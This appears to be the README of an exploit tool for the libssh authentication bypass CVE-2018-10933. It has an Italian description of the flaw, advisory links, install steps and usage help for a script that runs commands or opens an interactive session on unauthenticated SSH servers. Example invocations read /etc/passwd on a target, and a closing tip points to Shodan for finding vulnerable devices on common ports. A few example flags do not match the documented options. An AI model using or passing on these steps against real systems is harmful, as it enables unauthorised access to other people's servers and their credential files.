
libSSH-Authentication-Bypass
Una vulnerabilità è stata trovata nella macchina a stati lato server di libssh prima delle versioni 0.7.6 e 0.8.4. Un client malintenzionato potrebbe creare canali senza prima eseguire l'autenticazione, ottenendo accesso non autorizzato.
Il problema deriva dal modo in cui libssh non mantiene lo stato per l'autenticazione e come questo può essere usato per bypassare l'autenticazione. In pratica, pensa alla connessione come a un processo a più passaggi: step1, step2, step3... Poiché libssh non impone l'ordine dei passaggi, puoi praticamente saltare al step3 senza passare per step1 e step2.
È interessante notare che lo stesso problema è stato trovato nella libreria SSH Paramiko in precedenza: CVE-2018-7750.
Exploit-DB : https://www.exploit-db.com/exploits/45638
Information about CVE-2018-10933 by libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Bugfix Release by libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] can find devices vulnerables using shodan.io
- ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
